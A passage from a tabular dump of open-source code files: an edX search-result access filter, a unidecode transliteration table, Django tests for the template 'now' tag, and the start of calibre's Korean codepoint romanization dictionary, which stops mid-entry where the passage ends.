repo_name stringlengths 6 100 | path stringlengths 4 294 | copies stringlengths 1 5 | size stringlengths 4 6 | content stringlengths 606 896k | license stringclasses 15
values |
|---|---|---|---|---|---|
playm2mboy/edx-platform | lms/lib/courseware_search/lms_result_processor.py | 61 | 2677 | """
This file contains implementation override of SearchResultProcessor which will allow
* Blends in "location" property
* Confirms user access to object
"""
from django.core.urlresolvers import reverse
from opaque_keys.edx.locations import SlashSeparatedCourseKey
from search.result_processor import SearchResultProcessor
from xmodule.modulestore.django import modulestore
from courseware.access import has_access
class LmsSearchResultProcessor(SearchResultProcessor):
""" SearchResultProcessor for LMS Search """
_course_key = None
_course_name = None
_usage_key = None
_module_store = None
_module_temp_dictionary = {}
def get_course_key(self):
""" fetch course key object from string representation - retain result for subsequent uses """
if self._course_key is None:
self._course_key = SlashSeparatedCourseKey.from_deprecated_string(self._results_fields["course"])
return self._course_key
def get_usage_key(self):
""" fetch usage key for component from string representation - retain result for subsequent uses """
if self._usage_key is None:
self._usage_key = self.get_course_key().make_usage_key_from_deprecated_string(self._results_fields["id"])
return self._usage_key
def get_module_store(self):
""" module store accessor - retain result for subsequent uses """
if self._module_store is None:
self._module_store = modulestore()
return self._module_store
def get_item(self, usage_key):
""" fetch item from the modulestore - don't refetch if we've already retrieved it beforehand """
if usage_key not in self._module_temp_dictionary:
self._module_temp_dictionary[usage_key] = self.get_module_store().get_item(usage_key)
return self._module_temp_dictionary[usage_key]
@property
def url(self):
"""
Property to display the url for the given location, useful for allowing navigation
"""
if "course" not in self._results_fields or "id" not in self._results_fields:
raise ValueError("Must have course and id in order to build url")
return reverse(
"jump_to",
kwargs={"course_id": self._results_fields["course"], "location": self._results_fields["id"]}
)
def should_remove(self, user):
""" Test to see if this result should be removed due to access restriction """
user_has_access = has_access(
user,
"load",
self.get_item(self.get_usage_key()),
self.get_course_key()
)
return not user_has_access
| agpl-3.0 |
HesselTjeerdsma/Cyber-Physical-Pacman-Game | Algor/flask/lib/python2.7/site-packages/unidecode/x07a.py | 252 | 4669 | data = (
'Xi ', # 0x00
'Kao ', # 0x01
'Lang ', # 0x02
'Fu ', # 0x03
'Ze ', # 0x04
'Shui ', # 0x05
'Lu ', # 0x06
'Kun ', # 0x07
'Gan ', # 0x08
'Geng ', # 0x09
'Ti ', # 0x0a
'Cheng ', # 0x0b
'Tu ', # 0x0c
'Shao ', # 0x0d
'Shui ', # 0x0e
'Ya ', # 0x0f
'Lun ', # 0x10
'Lu ', # 0x11
'Gu ', # 0x12
'Zuo ', # 0x13
'Ren ', # 0x14
'Zhun ', # 0x15
'Bang ', # 0x16
'Bai ', # 0x17
'Ji ', # 0x18
'Zhi ', # 0x19
'Zhi ', # 0x1a
'Kun ', # 0x1b
'Leng ', # 0x1c
'Peng ', # 0x1d
'Ke ', # 0x1e
'Bing ', # 0x1f
'Chou ', # 0x20
'Zu ', # 0x21
'Yu ', # 0x22
'Su ', # 0x23
'Lue ', # 0x24
'[?] ', # 0x25
'Yi ', # 0x26
'Xi ', # 0x27
'Bian ', # 0x28
'Ji ', # 0x29
'Fu ', # 0x2a
'Bi ', # 0x2b
'Nuo ', # 0x2c
'Jie ', # 0x2d
'Zhong ', # 0x2e
'Zong ', # 0x2f
'Xu ', # 0x30
'Cheng ', # 0x31
'Dao ', # 0x32
'Wen ', # 0x33
'Lian ', # 0x34
'Zi ', # 0x35
'Yu ', # 0x36
'Ji ', # 0x37
'Xu ', # 0x38
'Zhen ', # 0x39
'Zhi ', # 0x3a
'Dao ', # 0x3b
'Jia ', # 0x3c
'Ji ', # 0x3d
'Gao ', # 0x3e
'Gao ', # 0x3f
'Gu ', # 0x40
'Rong ', # 0x41
'Sui ', # 0x42
'You ', # 0x43
'Ji ', # 0x44
'Kang ', # 0x45
'Mu ', # 0x46
'Shan ', # 0x47
'Men ', # 0x48
'Zhi ', # 0x49
'Ji ', # 0x4a
'Lu ', # 0x4b
'Su ', # 0x4c
'Ji ', # 0x4d
'Ying ', # 0x4e
'Wen ', # 0x4f
'Qiu ', # 0x50
'Se ', # 0x51
'[?] ', # 0x52
'Yi ', # 0x53
'Huang ', # 0x54
'Qie ', # 0x55
'Ji ', # 0x56
'Sui ', # 0x57
'Xiao ', # 0x58
'Pu ', # 0x59
'Jiao ', # 0x5a
'Zhuo ', # 0x5b
'Tong ', # 0x5c
'Sai ', # 0x5d
'Lu ', # 0x5e
'Sui ', # 0x5f
'Nong ', # 0x60
'Se ', # 0x61
'Hui ', # 0x62
'Rang ', # 0x63
'Nuo ', # 0x64
'Yu ', # 0x65
'Bin ', # 0x66
'Ji ', # 0x67
'Tui ', # 0x68
'Wen ', # 0x69
'Cheng ', # 0x6a
'Huo ', # 0x6b
'Gong ', # 0x6c
'Lu ', # 0x6d
'Biao ', # 0x6e
'[?] ', # 0x6f
'Rang ', # 0x70
'Zhuo ', # 0x71
'Li ', # 0x72
'Zan ', # 0x73
'Xue ', # 0x74
'Wa ', # 0x75
'Jiu ', # 0x76
'Qiong ', # 0x77
'Xi ', # 0x78
'Qiong ', # 0x79
'Kong ', # 0x7a
'Yu ', # 0x7b
'Sen ', # 0x7c
'Jing ', # 0x7d
'Yao ', # 0x7e
'Chuan ', # 0x7f
'Zhun ', # 0x80
'Tu ', # 0x81
'Lao ', # 0x82
'Qie ', # 0x83
'Zhai ', # 0x84
'Yao ', # 0x85
'Bian ', # 0x86
'Bao ', # 0x87
'Yao ', # 0x88
'Bing ', # 0x89
'Wa ', # 0x8a
'Zhu ', # 0x8b
'Jiao ', # 0x8c
'Qiao ', # 0x8d
'Diao ', # 0x8e
'Wu ', # 0x8f
'Gui ', # 0x90
'Yao ', # 0x91
'Zhi ', # 0x92
'Chuang ', # 0x93
'Yao ', # 0x94
'Tiao ', # 0x95
'Jiao ', # 0x96
'Chuang ', # 0x97
'Jiong ', # 0x98
'Xiao ', # 0x99
'Cheng ', # 0x9a
'Kou ', # 0x9b
'Cuan ', # 0x9c
'Wo ', # 0x9d
'Dan ', # 0x9e
'Ku ', # 0x9f
'Ke ', # 0xa0
'Zhui ', # 0xa1
'Xu ', # 0xa2
'Su ', # 0xa3
'Guan ', # 0xa4
'Kui ', # 0xa5
'Dou ', # 0xa6
'[?] ', # 0xa7
'Yin ', # 0xa8
'Wo ', # 0xa9
'Wa ', # 0xaa
'Ya ', # 0xab
'Yu ', # 0xac
'Ju ', # 0xad
'Qiong ', # 0xae
'Yao ', # 0xaf
'Yao ', # 0xb0
'Tiao ', # 0xb1
'Chao ', # 0xb2
'Yu ', # 0xb3
'Tian ', # 0xb4
'Diao ', # 0xb5
'Ju ', # 0xb6
'Liao ', # 0xb7
'Xi ', # 0xb8
'Wu ', # 0xb9
'Kui ', # 0xba
'Chuang ', # 0xbb
'Zhao ', # 0xbc
'[?] ', # 0xbd
'Kuan ', # 0xbe
'Long ', # 0xbf
'Cheng ', # 0xc0
'Cui ', # 0xc1
'Piao ', # 0xc2
'Zao ', # 0xc3
'Cuan ', # 0xc4
'Qiao ', # 0xc5
'Qiong ', # 0xc6
'Dou ', # 0xc7
'Zao ', # 0xc8
'Long ', # 0xc9
'Qie ', # 0xca
'Li ', # 0xcb
'Chu ', # 0xcc
'Shi ', # 0xcd
'Fou ', # 0xce
'Qian ', # 0xcf
'Chu ', # 0xd0
'Hong ', # 0xd1
'Qi ', # 0xd2
'Qian ', # 0xd3
'Gong ', # 0xd4
'Shi ', # 0xd5
'Shu ', # 0xd6
'Miao ', # 0xd7
'Ju ', # 0xd8
'Zhan ', # 0xd9
'Zhu ', # 0xda
'Ling ', # 0xdb
'Long ', # 0xdc
'Bing ', # 0xdd
'Jing ', # 0xde
'Jing ', # 0xdf
'Zhang ', # 0xe0
'Yi ', # 0xe1
'Si ', # 0xe2
'Jun ', # 0xe3
'Hong ', # 0xe4
'Tong ', # 0xe5
'Song ', # 0xe6
'Jing ', # 0xe7
'Diao ', # 0xe8
'Yi ', # 0xe9
'Shu ', # 0xea
'Jing ', # 0xeb
'Qu ', # 0xec
'Jie ', # 0xed
'Ping ', # 0xee
'Duan ', # 0xef
'Shao ', # 0xf0
'Zhuan ', # 0xf1
'Ceng ', # 0xf2
'Deng ', # 0xf3
'Cui ', # 0xf4
'Huai ', # 0xf5
'Jing ', # 0xf6
'Kan ', # 0xf7
'Jing ', # 0xf8
'Zhu ', # 0xf9
'Zhu ', # 0xfa
'Le ', # 0xfb
'Peng ', # 0xfc
'Yu ', # 0xfd
'Chi ', # 0xfe
'Gan ', # 0xff
)
| apache-2.0 |
devops2014/djangosite | tests/template_tests/syntax_tests/test_now.py | 443 | 2037 | from datetime import datetime
from django.test import SimpleTestCase
from django.utils.formats import date_format
from ..utils import setup
class NowTagTests(SimpleTestCase):
@setup({'now01': '{% now "j n Y" %}'})
def test_now01(self):
"""
Simple case
"""
output = self.engine.render_to_string('now01')
self.assertEqual(output, "%d %d %d" % (
datetime.now().day, datetime.now().month, datetime.now().year,
))
# Check parsing of locale strings
@setup({'now02': '{% now "DATE_FORMAT" %}'})
def test_now02(self):
output = self.engine.render_to_string('now02')
self.assertEqual(output, date_format(datetime.now()))
@setup({'now03': '{% now \'j n Y\' %}'})
def test_now03(self):
"""
#15092 - Also accept simple quotes
"""
output = self.engine.render_to_string('now03')
self.assertEqual(output, "%d %d %d" % (
datetime.now().day, datetime.now().month, datetime.now().year,
))
@setup({'now04': '{% now \'DATE_FORMAT\' %}'})
def test_now04(self):
output = self.engine.render_to_string('now04')
self.assertEqual(output, date_format(datetime.now()))
@setup({'now05': '{% now \'j "n" Y\'%}'})
def test_now05(self):
output = self.engine.render_to_string('now05')
self.assertEqual(output, '%d "%d" %d' % (
datetime.now().day, datetime.now().month, datetime.now().year,
))
@setup({'now06': '{% now "j \'n\' Y"%}'})
def test_now06(self):
output = self.engine.render_to_string('now06')
self.assertEqual(output, "%d '%d' %d" % (
datetime.now().day, datetime.now().month, datetime.now().year,
))
@setup({'now07': '{% now "j n Y" as N %}-{{N}}-'})
def test_now07(self):
output = self.engine.render_to_string('now07')
self.assertEqual(output, '-%d %d %d-' % (
datetime.now().day, datetime.now().month, datetime.now().year,
))
| bsd-3-clause |
palerdot/calibre | src/calibre/ebooks/unihandecode/krcodepoints.py | 26 | 406322 | # -*- coding: utf-8 -*-
__license__ = 'GPL 3'
__copyright__ = '2010 Hiroshi Miura <miurahr@linux.com>'
__docformat__ = 'restructuredtext en'
'''
Unicode code point dictionary.
Based on Unicode.org Unihan database.
'''
CODEPOINTS = {
'x34':[
'Qiu ','Tian ','','','Kua ','Wu ','Yin ','','','','','','Si ','','','',
'','','','','','','Ye ','','','','','','Chou ','','','',
'','Nuo ','','','Qiu ','','','','Xu ','Xing ','','Xiong ','Liu ','Lin ','Xiang ','Yong ',
'Xin ','Zhen ','Dai ','Wu ','Pan ','','','Ma ','Qian ','Yi ','Zhong ','N ','Cheng ','Fung ','','',
'','Zhuo ','Fang ','Ao ','Wu ','Zuo ','','Zhou ','Dong ','Su ','Yi ','Jiong ','Wang ','Lei ','Nao ','Zhu ',
'Suk ','','','','Xu ','','','Saan ','Jie ','Die ','Nuo ','Su ','Yi ','Long ','Ying ','Beng ',
'','','','Lan ','Miao ','Yi ','Li ','Ji ','Yu ','Luo ','Chai ','Nom ','','','Hun ','Xu ',
'Hui ','Rao ','','Zhou ','Caam ','Han ','Xi ','Tai ','Ai ','Hui ','Jun ','Ma ','Lue ','Tang ','Xiao ','Tiao ',
'Zha ','Yu ','Ku ','Er ','Nang ','Qi ','Chi ','Mu ','Han ','Tang ','Se ','Si ','Qiong ','Lei ','Sa ','',
'','Hui ','Pu ','Ta ','Shu ','Zoeng ','Ou ','Tai ','','Mian ','Wen ','Diao ','Yu ','Mie ','Jun ','Niao ',
'Xie ','You ','','','She ','Fung ','Lei ','Li ','Sin ','Luo ','Sek ','Ji ','','Kwaan ','','',
'Quan ','','Cai ','Liang ','Gu ','Mao ','Gung ','Gua ','Sui ','Din ','','Mao ','Man ','Hyun ','Shi ','Li ',
'','Wang ','Kou ','Chui ','Zhen ','Ding ','','','Bing ','Huan ','Dong ','Gong ','Cang ','','Lian ','Jiong ',
'Lu ','Xing ','','Nan ','Xie ','','Bi ','Jie ','Su ','Hung ','Geoi6','Gung ','You ','Xing ','Qi ','Phay ',
'Dian ','Fu ','Luo ','Qia ','Jie ','Tong ','Bak ','Yan ','Ci ','Fan ','Lang ','','Fu ','He ','Diu ','Li ',
'Hua ','Tou ','Pian ','Dai ','Jun ','E ','Qie ','Yi ','Jue ','Rui ','Jian ','Gong ','Chi ','Chong ','Chi ','',
],
'x35':[
'Lue ','Daang ','Lin ','Jue ','Su ','Xiao ','Chan ','Put ','','Zhu ','Dan ','Jian ','Zhou ','Duo ','Xie ','Li ',
'Cim ','Chi ','Xi ','Jian ','','Ji ','','Fei ','Chu ','Bang ','Kou ','','Ba ','Liang ','Kuai ','',
'He ','Bit ','Jue ','Lei ','Shen ','Pi ','Yang ','Lu ','Bei ','E ','Lu ','','Coek ','Che ','Nuo ','Suan ',
'Heng ','Yu ','','Gui ','Yi ','Xian ','Gong ','Lou ','Cam ','Le ','Shi ','Pei ','Sun ','Yao ','Jie ','Zou ',
'','Que ','Yin ','Him ','Zhi ','Jia ','Hu ','La ','Hou ','Ke ','Bou ','Jing ','Ai ','Deoi ','E ','Chu ',
'Xie ','Chu ','Wei ','','Teng ','Huan ','Su ','You ','Caam ','Jun ','Zhao ','Xu ','Shi ','','Caat ','Kui ',
'Soeng ','He ','Gai ','Yan ','Qiu ','Yi ','Hua ','Si ','Fan ','Zhang ','Dan ','Fang ','Song ','Ao ','Fu ','Nei ',
'He ','You ','Hua ','Hung ','Chen ','Guo ','Ng ','Hua ','Li ','Fa ','Hao ','Pou ','Dung6','Si ','','',
'Le ','Lin ','Yi ','Hou ','Zaau ','Xu ','Qu ','Er ','','','','','','','','Nei ',
'Wei ','Xie ','Ti ','Hong ','Tun ','Bo ','Nie ','Yin ','San ','','','','','','Wai ','Shou ',
'Ba ','Ye ','Ji ','Tou ','Han ','Jiong ','Dong ','Wen ','Lu ','Sou ','Guo ','Ling ','','Tian ','Lun ','',
'','','','','','ge ','Ye ','Shi ','Xue ','Fen ','Chun ','Rou ','Duo ','Ze ','E ','Xie ',
'Zaau ','E ','Sheng ','Wen ','Man ','Hu ','Ge ','Xia ','Man ','Bi ','Ji ','Hou ','Zhi ','','Gaa ','',
'','Bai ','Ai ','Ci ','Hin ','Gou ','Dan ','Bai ','Bo ','Na ','Li ','Xiao ','Xiu ','','','',
'','','Dong ','Ti ','Cu ','Kuo ','Lao ','Zhi ','Ai ','Xi ','','Qie ','Zaa ','Hei ','','',
'Chu ','Ji ','Huo ','Ta ','Yan ','Xu ','Put ','Sai ','','','','Go6','Ye ','Xiang ','Heoi ','Xia ',
],
'x36':[
'Zuo ','Yi ','Ci ','','','Xian ','Tai ','Rong ','Yi ','Zhi ','Yi ','Xian ','Ju ','Ji ','Han ','',
'Pao ','Li ','','Lan ','Can ','Han ','Yan ','','','Yan ','Han ','Haam ','Chi ','Nian ','Huo ','',
'Bi ','Xia ','Weng ','Xuan ','Waan ','You ','Qin ','Xu ','Nei ','Bi ','Hao ','Jing ','Ao ','Ao ','','',
'Zam ','Taan ','Ju ','Zaau ','Zuo ','Bu ','Jie ','Ai ','Zang ','Ci ','Fa ','Zaan ','','','','Nie ',
'Liu ','Mang ','Dui ','Bong ','Bi ','Bao ','','Chu ','Han ','Tian ','Chang ','','','Do ','Wai ','Fu ',
'Duo ','Yu ','Ye ','Kui ','Han ','Kuai ','','Kuai ','Ziu ','Long ','Sing ','Bu ','Chi ','Xie ','Nie ','Lang ',
'Yi ','Zung ','Man ','Zhang ','Xia ','Gun ','','','Ji ','Liao ','Ye ','Ji ','Yin ','','Da ','Yi ',
'Xie ','Hao ','Yong ','Han ','Chan ','Tai ','Tang ','Zhi ','Bao ','Meng ','Gui ','Chan ','Lei ','','Xi ','',
'Hei ','Qiao ','Rang ','Yun ','','Long ','Fu ','Zuk ','','Gu ','Hoi ','Diu ','Hua ','Guo ','','Gao ',
'Tao ','','Shan ','Lai ','Nie ','Fu ','Gao ','Qie ','Ban ','Gaa ','','Xi ','Xu ','Kui ','Meng ','Chuo ',
'Hiu ','Ji ','Nu ','Xiao ','Yi ','Yu ','Yi ','Yan ','','Ran ','Hao ','Sha ','Gwan ','You ','Daam ','Xin ',
'Bi ','Zaau ','Dian ','O ','Bu ','Dung ','Si ','Er ','Si ','Mao ','Yun ','Gei ','Naau ','Qiao ','','Pao ',
'','Ping ','Nuo ','Jie ','Zi ','Er ','Duo ','','','','Duo ','','','Qie ','Leoi ','Ou ',
'Sou ','Can ','Dou ','Ci ','Peng ','Yi ','So ','Zuo ','Po ','Qie ','Tong ','Xin ','You ','Bei ','Long ','',
'','','','','','Ta ','Lan ','Man ','Qiang ','Zhou ','Yan ','Sek ','Lu ','Sik ','Sao ','Mian ',
'Fan ','Rui ','Fa ','Cha ','Nao ','Cing ','Chou ','Gai ','Shu ','Pian ','Aam ','Kui ','Sha ','Saan ','Xian ','Zhi ',
],
'x37':[
'','','Fung ','Lian ','Xun ','Xu ','Mi ','Hui ','Mu ','Zung ','Pang ','Yi ','Gou ','Tang ','Qi ','Yun ',
'Shu ','Fu ','Yi ','Da ','','Lian ','Cao ','Can ','Ju ','Lu ','Su ','Nen ','Ao ','An ','Qian ','',
'Ceoi ','Sung ','','Ran ','Shen ','Mai ','Han ','Yue ','Er ','Ao ','Xian ','Ma ','','','Lan ','Hei ',
'Yue ','Dong ','Weng ','Huai ','Meng ','Niao ','Wan ','Mi ','Nie ','Qu ','Zan ','Lian ','Zhi ','Zi ','Hai ','Xu ',
'Hao ','Xun ','Zhi ','Fan ','Chun ','Gou ','','Chun ','Luan ','Zhu ','Shou ','Liao ','Jie ','Xie ','Ding ','Jie ',
'Rong ','Mang ','Geoi ','Ge ','Yao ','Ning ','Yi ','Lang ','Yong ','Yin ','','Su ','Sik ','Lin ','Ya ','Mao ',
'Ming ','Zui ','Yu ','Ye ','Gou ','Mi ','Jun ','Wen ','','Hoi ','Dian ','Long ','','Xing ','Cui ','Qiao ',
'Mian ','Meng ','Qin ','','Wan ','De ','Ai ','','Bian ','Nou ','Lian ','Jin ','Zyu ','Chui ','Zuo ','Bo ',
'Fui ','Yao ','Tui ','Ji ','Aam ','Guo ','Ji ','Wei ','Bui6','Zaat ','Xu ','Nian ','Yun ','','Ba ','Zhe ',
'Ju ','Wei ','Xi ','Qi ','Yi ','Xie ','Ci ','Qiu ','Tun ','Niao ','Qi ','Ji ','Teoi ','','','Dian ',
'Lao ','Zhan ','Zi ','Fan ','Yin ','Cen ','Ji ','Hui ','Zai ','Lan ','Nao ','Ju ','Qin ','Dai ','Shutsu ','Jie ',
'Xu ','Cung ','Yong ','Dou ','Chi ','Tou ','Min ','Huang ','Sui ','Ke ','Zu ','Hao ','Cheng ','Xue ','Ni ','Chi ',
'Lian ','An ','Chi ','Si ','Xiang ','Yang ','Hua ','Cuo ','Qiu ','Lao ','Fu ','Dui ','Mang ','Lang ','Tuo ','Han ',
'Mang ','Bo ','Kwan ','Qi ','Han ','','Long ','Ban ','Tiao ','Lao ','Qi ','Zan ','Mi ','Pei ','Zhan ','Xiang ',
'Gang ','','Qi ','','Lu ','Caam ','Yun ','E ','Quan ','Min ','Wei ','Quan ','Shu ','Min ','Daat6','',
'Ming ','Yao ','Jue ','Li ','Kuai ','Gang ','Yuan ','Da ','Gou ','Lao ','Lou ','Qian ','Ao ','Biao ','Zung ','Mang ',
],
'x38':[
'Dao ','Caam ','Ao ','','Xi ','Fu ','Daan ','Jiu ','Run ','Tong ','Qu ','E ','Hei ','Ji ','Ji ','Hua ',
'Jiao ','Zui ','Biao ','Meng ','Bai ','Wei ','Ji ','Ao ','Yu ','Hao ','Dui ','Wo ','Ni ','Cuan ','','Li ',
'Lu ','Niao ','Hua ','Lai ','','Lu ','Fung ','Mi ','Yu ','Fong ','Ju ','','','Zhan ','Pang ','Yi ',
'','Ji ','Bi ','','Ren ','Fong ','Fan ','Ge ','Ku ','Jie ','Miao ','Hei ','Si ','Tong ','Zyun ','Ci ',
'Bi ','Kai ','Li ','Fong ','Sun ','Nuo ','Fong ','Ji ','Men ','Xian ','Qia ','E ','Mao ','','Saam ','Tou ',
'Zin ','Qiao ','Zeon ','Kwaan ','Wu ','Zing ','Chuang ','Ti ','Lian ','Bi ','Haat6','Mang ','Xue ','Feng ','Lei ','Zou ',
'Zheng ','Chu ','Man ','Long ','','Yin ','Baan ','Zheng ','Qian ','Luan ','Nie ','Yi ','','Ji ','Ji ','Zhai ',
'Yu ','Jiu ','Huan ','Di ','Lup ','Ling ','Ji ','Ben ','Zha ','Ci ','Dan ','Liao ','Yi ','Zhao ','Xian ','Chi ',
'Ci ','Chi ','Yan ','Lang ','Dou ','Long ','Chan ','','Tui ','Cha ','Ai ','Chi ','','Ying ','Cha ','Tou ',
'','Tui ','Cha ','Yao ','Zong ','Zung ','Pun ','Qiao ','Lian ','Qin ','Lu ','Yan ','Kong ','Sou ','Yi ','Chan ',
'Jiong ','Jiang ','','Jing ','','Dong ','Go ','Juan ','Han ','Di ','Wu ','','Hong ','Tou ','Chi ','Min ',
'Bi ','','Xun ','Lu ','Sai ','She ','Bi ','','Bi ','','Xian ','Wei ','Bie ','Er ','Juan ','',
'Zhen ','Bei ','Yi ','Yu ','Qu ','Zan ','Mi ','Ni ','Si ','Gung ','','Daan ','Shan ','Tai ','Mu ','Jing ',
'Bian ','Rong ','Ceng ','Can ','Ding ','','','','Keoi ','Di ','Tong ','Ta ','Xing ','Sung ','Duo ','Xi ',
'Tong ','','Ti ','Shan ','Jian ','Zhi ','Wai ','Yin ','','','Huan ','Zhong ','Qi ','Zung ','','Xie ',
'Xie ','Ze ','Wei ','','','Ta ','Zhan ','Ning ','','','Sam ','Yi ','Ren ','Shu ','Cha ','Zhuo ',
],
'x39':[
'','Mian ','Ji ','Fang ','Pei ','Ai ','Fan ','Ao ','Qin ','Qia ','Xiao ','Fan ','Gaam ','Qiao ','Go ','Tong ',
'Tip ','You ','Gou ','Ben ','Fu ','Chu ','Zhu ','','Chu ','Zaan ','Hang ','Nin ','Jue ','Cung ','Cha ','Kong ',
'Lie ','Li ','Xu ','Paang ','Yu ','Hai ','Li ','Hou ','Gong ','Ke ','Yuan ','De ','Hui ','Giu ','Kuang ','Jiong ',
'Zan ','Fu ','Qie ','Bei ','Xi ','Ci ','Pang ','Haam ','Xi ','Qiu ','Huang ','Nan ','','Chou ','San ','Jim ',
'De ','De ','Te ','Men ','Ling ','Shou ','Dian ','Can ','Die ','Che ','Peng ','Zi ','Ju ','Ji ','Lai ','Tian ',
'Yuan ','Zaau ','Cai ','Qi ','Yu ','Lian ','Cung ','','','','Yu ','Ji ','Wei ','Mi ','Cui ','Xie ',
'Xu ','Xi ','Qiu ','Hui ','Ging ','Yu ','Qie ','Shun ','Chui ','Duo ','Lou ','Deon ','Pang ','Tai ','Zhou ','Yin ',
'Sou ','Fei ','Shen ','Yuan ','Yi ','Hun ','Se ','Ye ','Min ','Fen ','He ','','Yin ','Ce ','Ni ','Ao ',
'Feng ','Lian ','Chang ','Chan ','Ma ','Di ','Hu ','Lu ','','Yi ','Hua ','Caa ','Tui ','E ','Hua ','Sun ',
'Ni ','Lian ','Li ','Xian ','Yan ','Long ','Men ','Jian ','Gik ','','Bian ','Yu ','Huo ','Miao ','Chou ','Hai ',
'','Le ','Jie ','Wei ','Yi ','Huan ','He ','Can ','Lan ','Yin ','Xie ','Zaat ','Luo ','Ling ','Qian ','Huo ',
'Cim ','Wo ','Zoi ','','Ge ','Zyu ','Die ','Yong ','Ji ','Ang ','Ru ','Xi ','Shuang ','Xu ','Yi ','Hu ',
'Ji ','Qu ','Tian ','Sau ','Qian ','Mu ','Gaan ','Mao ','Yin ','Gai ','Ba ','Xian ','Mao ','Fang ','Ya ','Gong ',
'Song ','Wei ','Xue ','Gwaa ','Guai ','Jiu ','E ','Zi ','Cui ','Bi ','Wa ','Hin ','Lie ','Gaa ','','Kuai ',
'','Hai ','Zaan ','Zhu ','Chong ','Xian ','Xuan ','So ','Qiu ','Pei ','Gui ','Er ','Gong ','Qiong ','Bak6','Lao ',
'Li ','Chen ','San ','Bo ','Wo ','Pou ','Hang ','Duo ','Paang ','Te ','Ta ','Zhi ','Biao ','Gu ','Hot ','Coeng ',
],
'x3a':[
'Bing ','Zhi ','Dong ','Cheng ','Zhao ','Nei ','Lin ','Po ','Ji ','Min ','Wei ','Che ','Gou ','Bong ','Ru ','Taan ',
'Bu ','Zung ','Kui ','Lao ','Han ','Ying ','Zhi ','Jie ','Xing ','Xie ','Xun ','Shan ','Qian ','Xie ','Su ','Hai ',
'Mi ','Hun ','Nang ','','Hui ','Na ','Song ','Ben ','Liu ','Jie ','Huang ','Lan ','','Hu ','Dou ','Huo ',
'Ge ','Yao ','Ce ','Gui ','Jian ','Jian ','Chou ','Jin ','Ma ','Hui ','Men ','Can ','Lue ','Pi ','Yang ','Ju ',
'Ju ','Que ','','','Shai ','Cau ','Jiu ','Hua ','Xian ','Xie ','Syun ','Su ','Fei ','Ce ','Ye ','',
'','','Qin ','Hui ','Tun ','Ling ','Qiang ','Xi ','Yi ','Nim ','Meng ','Tuan ','Lan ','Hao ','Ci ','Zhai ',
'Piao ','Luo ','Mi ','Buk ','Fu ','Cam ','Xie ','Bo ','Hui ','Qi ','Xie ','','Hei ','Bo ','Qian ','Ban ',
'Jiao ','Jue ','Kun ','Song ','Ju ','E ','Nie ','','Die ','Die ','Pei ','Gui ','Zi ','Qi ','Chui ','Gwaat6',
'Yu ','Qin ','Faat ','Ke ','Fu ','Gaang ','Di ','Xian ','Gui ','He ','Qun ','Han ','Tong ','Bo ','Shan ','Bi ',
'Lu ','Ye ','Ni ','Chuai ','San ','Diao ','Lu ','Tou ','Lian ','Ke ','San ','Zhen ','Chuai ','Lian ','Mao ','Deon ',
'Qian ','Ke ','Shao ','Qiao ','Bi ','Zaa ','Yin ','Kaap ','Shan ','Su ','Sa ','Rui ','Zhuo ','Lu ','Ling ','Cha ',
'Zaai ','Huan ','','','Jia ','Ban ','Hu ','Dou ','Caam ','Lou ','','Juan ','Ke ','Suo ','Ge ','Zhe ',
'Ding ','Duan ','Zhu ','Yan ','Pang ','Cha ','','','','','Yi ','Zin ','','You ','Gun ','Yao ',
'Yao ','Shi ','Gong ','Qi ','Gen ','Gwong ','','Hou ','Mi ','Fu ','Hu ','Guang ','Dan ','Dai ','Tou ','Yan ',
'','Dung ','Qu ','','Chang ','Ming ','Tou ','Bao ','On ','Ceon ','Zung ','Xian ','','','','Mao ',
'Lang ','Nan ','Pei ','Chen ','Hau ','Fei ','Cou ','Gei ','Qie ','Dai ','Sik ','Kun ','Die ','Lu ','Thung ','',
],
'x3b':[
'','Caap ','Yu ','Tai ','Chan ','Man ','Mian ','Huan ','Wan ','Nuan ','Huan ','Hou ','Jing ','Bo ','Xian ','Li ',
'Jin ','','Mang ','Piao ','Hao ','Yang ','','Xian ','Su ','Wei ','Che ','Kap ','Jin ','Ceng ','He ','',
'Shai ','Ling ','Fui ','Dui ','Zaap ','Pu ','Yue ','Bo ','','Hui ','Die ','Yan ','Ju ','Jiao ','Kuai ','Lie ',
'Yu ','Ti ','Tim ','Wu ','Hong ','Xiao ','Hao ','','Tiu ','Zaang ','','Huang ','Fu ','','','Dun ',
'','Reng ','Jiao ','Gong ','Xin ','','','Yuan ','Jue ','Hua ','Sik ','Bang ','Mou ','Cat ','Gong ','Wei ',
'','Mei ','Si ','Bian ','Lu ','Keoi ','','','He ','She ','Lu ','Pai ','Rong ','Qiu ','Lie ','Gong ',
'Xian ','Xi ','Hing ','','Niao ','','','','Xie ','Lei ','Fu ','Cuan ','Zhuo ','Fei ','Zuo ','Die ',
'Ji ','He ','Ji ','','Gin ','','','','Tu ','Xian ','Yan ','Tang ','Ta ','Di ','Jue ','Ang ',
'Han ','Yao ','Ju ','Rui ','Bang ','Zeoi ','Nie ','Tian ','Nai ','','','You ','Mian ','Zin ','Bui ','Nai ',
'Xing ','Qi ','Zaan ','Gen ','Tong ','Er ','Jia ','Qin ','Mao ','E ','Li ','Chi ','Zong ','He ','Jie ','Ji ',
'','Guan ','Hou ','Gai ','Cung ','Fen ','Se ','Waat ','Ji ','Sik ','Qiong ','He ','Zung ','Xian ','Jie ','Hua ',
'Bi ','Sing ','Caai ','Zhen ','Sau ','Zin ','Shi ','Gai ','Song ','Zhi ','Ben ','','','','Lang ','Bi ',
'Xian ','Bang ','Dai ','Cat ','Zi ','Pi ','Chan ','Bi ','Su ','Huo ','Hen ','Ying ','Chuan ','Jiang ','Nen ','Gu ',
'Fang ','','','Ta ','Cui ','Sai ','De ','Ran ','Kuan ','Che ','Da ','Hu ','Cui ','Lu ','Juan ','Lu ',
'Qian ','Pao ','Zhen ','Fan ','Li ','Cao ','Qi ','','','Ti ','Ling ','Qu ','Lian ','Lu ','Shu ','Gong ',
'Zhe ','Biao ','Jin ','Qing ','','','Zong ','Pu ','Jin ','Biao ','Jian ','Gun ','','Ban ','Zou ','Lie ',
],
'x3c':[
'Li ','Luo ','Shen ','Mian ','Jian ','Di ','Bei ','Cim ','Lian ','Zeon ','Xun ','Pin ','Que ','Long ','Zui ','Gou ',
'Jue ','San ','She ','','Xie ','Hei ','Lan ','Cu ','Yi ','Nuo ','Li ','Yue ','','Yi ','Ci ','Ji ',
'Kang ','Xie ','Hang ','Zi ','Ke ','Hui ','Qu ','Hai6','Hei ','Hoi ','Wa ','Caam ','Xun ','Haap6','Shen ','Kou ',
